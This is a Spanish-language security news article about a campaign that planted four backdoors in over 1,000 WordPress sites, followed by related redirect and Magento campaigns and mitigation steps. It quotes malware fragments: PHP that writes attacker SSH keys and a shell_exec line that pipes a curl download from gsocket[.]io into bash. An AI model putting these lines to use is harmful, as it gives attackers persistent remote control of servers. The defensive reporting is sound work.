Un nuevo ataque dirigido a WordPress compromete más de mil sitios web a través de un script malicioso que introduce múltiples puertas traseras, permitiendo a los atacantes el acceso persistente a los servidores afectados.
Ataque a WordPress mediante un JavaScript de terceros
Un reciente análisis de c/side, liderado por el investigador Himanshu Anand, ha revelado una campaña de ciberataques en la que más de 1.000 sitios web basados en WordPress han sido infectados con un código JavaScript malicioso. Este código, cargado desde el dominio cdn.csyndication[.]com, introduce cuatro puertas traseras independientes, lo que permite a los atacantes múltiples puntos de acceso en caso de que uno sea detectado y eliminado.
Hasta la fecha, se ha identificado la presencia de este código en al menos 908 sitios web y se teme que la cifra siga aumentando.
Cuatro puertas traseras para un acceso persistente
El ataque destaca por el uso de cuatro mecanismos distintos de puerta trasera, diseñados para garantizar la permanencia del atacante en el sistema comprometido:
- Instalación de un plugin falso: Se sube e instala automáticamente un plugin malicioso llamado «Ultra SEO Processor», que permite ejecutar comandos remotos enviados por los atacantes.
- Inyección de código en archivos críticos: Se modifica el archivo wp-config.php para insertar un código malicioso en el núcleo de WordPress.
- Acceso SSH persistente: Se añaden claves SSH controladas por los atacantes al archivo ~/.ssh/authorized_keys, lo que les da acceso remoto sin necesidad de credenciales.
- Ejecución remota de comandos: Se descarga y ejecuta un payload adicional desde gsocket[.]io, lo que sugiere la apertura de un shell inverso para control total del servidor.
Detalles técnicos del ataque
1. Plugin falso «Ultra SEO Processor»
El ataque comienza con la instalación del plugin malicioso a través de una petición POST a la página de carga de plugins de WordPress, utilizando un nonce (token de seguridad) para evitar protección contra CSRF. El código del plugin está diseñado para ocultarse del panel de administración de WordPress, haciendo difícil su detección manual.
El archivo ZIP del plugin, identificado con el hash 3953121a6994a157e12886df45ef2aaa85390832d58915370d8c90d4f90092be, incluye:
- Código PHP malicioso que permite la ejecución remota de comandos.
- Escaneo automático de archivos WordPress y Laravel en el servidor.
- Modificaciones en wp-config.php para garantizar persistencia.
- Instalación de claves SSH para acceso sin autenticación.
2. Inyección de código en wp-config.php
El script malicioso también modifica archivos críticos de WordPress para incluir código que garantiza su ejecución en cada carga de la página:
$cdn = '<?php ini_set("display_errors", 0); ini_set("display_startup_errors", 0); if (PHP_SAPI !== "cli" && (strpos(@$_SERVER["REQUEST_URI"], "/wp-admin/admin-ajax.php") === false ...';
Este fragmento ejecuta código oculto en segundo plano cada vez que se carga WordPress, asegurando que el ataque siga activo incluso si se eliminan otros archivos infectados.
3. Inyección de claves SSH
Para garantizar acceso persistente al servidor, los atacantes agregan su propia clave SSH en el archivo ~/.ssh/authorized_keys
, lo que les permite iniciar sesión sin necesidad de una contraseña:
$ak_a_file = $ak_base_folder.'/.ssh/authorized_keys';
@file_put_contents($ak_a_file, 'ssh-rsa AAAAB3N...');
@file_put_contents($ak_a_file, 'ssh-ed25519 AAAAC3Nza...');
4. Shell inverso con gsocket[.]io
Finalmente, el script también intenta establecer una conexión con un servidor externo para recibir instrucciones remotas y ejecutar comandos arbitrarios en el servidor comprometido:
$my_execution = function($cmd) {
return shell_exec($cmd);
};
$my_stdout = $my_execution('bash -c "$(curl -fsSL https://gsocket[.]io/y)"');
Esto permite a los atacantes tomar control completo del servidor, ejecutar comandos arbitrarios y desplegar nuevas cargas maliciosas.
Otra campaña afecta a 35.000 sitios con redirecciones a plataformas de apuestas
Paralelamente, otra campaña de malware ha infectado más de 35.000 sitios web con código JavaScript malicioso que secuestra las ventanas del navegador y redirige a los visitantes a plataformas de apuestas en chino.
El ataque utiliza cinco dominios para cargar el código principal y realizar las redirecciones:
mlbetjs[.]com
ptfafajs[.]com
zuizhongjs[.]com
jbwzzzjs[.]com
jpbkte[.]com
Se sospecha que estos ataques están dirigidos a usuarios de habla mandarín, ya que las páginas de destino contienen contenido de apuestas bajo la marca Kaiyun.
Otra amenaza: JavaScript malicioso en Magento
En un informe separado, la firma Group-IB ha identificado una campaña de inyección de JavaScript en Magento llevada a cabo por un grupo denominado ScreamedJungle. Este ataque tiene como objetivo recopilar huellas digitales de los visitantes de sitios web de comercio electrónico.
El malware, llamado Bablosoft JS, forma parte del kit de automatización BrowserAutomationStudio (BAS) y explota vulnerabilidades en Magento para extraer datos de los usuarios sin su conocimiento.
Entre las vulnerabilidades aprovechadas se encuentran:
- CVE-2024-34102 (CosmicSting)
- CVE-2024-20720
Estos exploits permiten la compromisión de más de 115 tiendas en línea, lo que supone un grave riesgo para la seguridad de la información de los clientes.
Cómo proteger tu sitio web contra estos ataques
Dado que este tipo de infecciones pueden pasar desapercibidas, se recomienda tomar medidas inmediatas para eliminar cualquier rastro del ataque en sitios WordPress.
Medidas de mitigación recomendadas
✅ Eliminar plugins maliciosos:
- Revisa el panel de administración de WordPress y desinstala el plugin «Ultra SEO Processor».
- Borra cualquier otro plugin que no recuerdes haber instalado.
✅ Revisar archivos críticos:
- Examina los archivos wp-config.php, index.php y
.htaccess
en busca de código sospechoso. - Compara estos archivos con versiones limpias para detectar modificaciones no autorizadas.
✅ Verificar claves SSH:
- Inspecciona el archivo
~/.ssh/authorized_keys
y elimina cualquier clave SSH desconocida.
✅ Restablecer credenciales:
- Cambia todas las contraseñas de administrador de WordPress.
- Actualiza las claves API de plugins y servicios de terceros.
✅ Supervisar la actividad del servidor:
- Examina los registros del sistema (
/var/log/auth.log
en Linux) en busca de intentos de acceso sospechosos. - Usa herramientas como Fail2Ban para bloquear direcciones IP maliciosas.
✅ Escaneo de seguridad:
- Utiliza herramientas como Wordfence, Sucuri Security o Malwarebytes para detectar y eliminar código malicioso.
- Implementa una política de actualizaciones constantes en WordPress y sus plugins.
Conclusión: una amenaza en constante evolución
Los ataques contra WordPress y plataformas de comercio electrónico como Magento están en aumento, y los ciberdelincuentes están utilizando tácticas cada vez más sofisticadas.
El uso de JavaScript de terceros como vector de ataque no es una novedad, pero la combinación de múltiples puertas traseras para garantizar persistencia es una estrategia particularmente peligrosa.
Ante esta amenaza, los administradores de sitios web deben mantener un monitoreo constante, aplicar actualizaciones de seguridad y reforzar las medidas de protección para evitar compromisos que podrían derivar en robo de información, acceso no autorizado o incluso la toma de control total del servidor.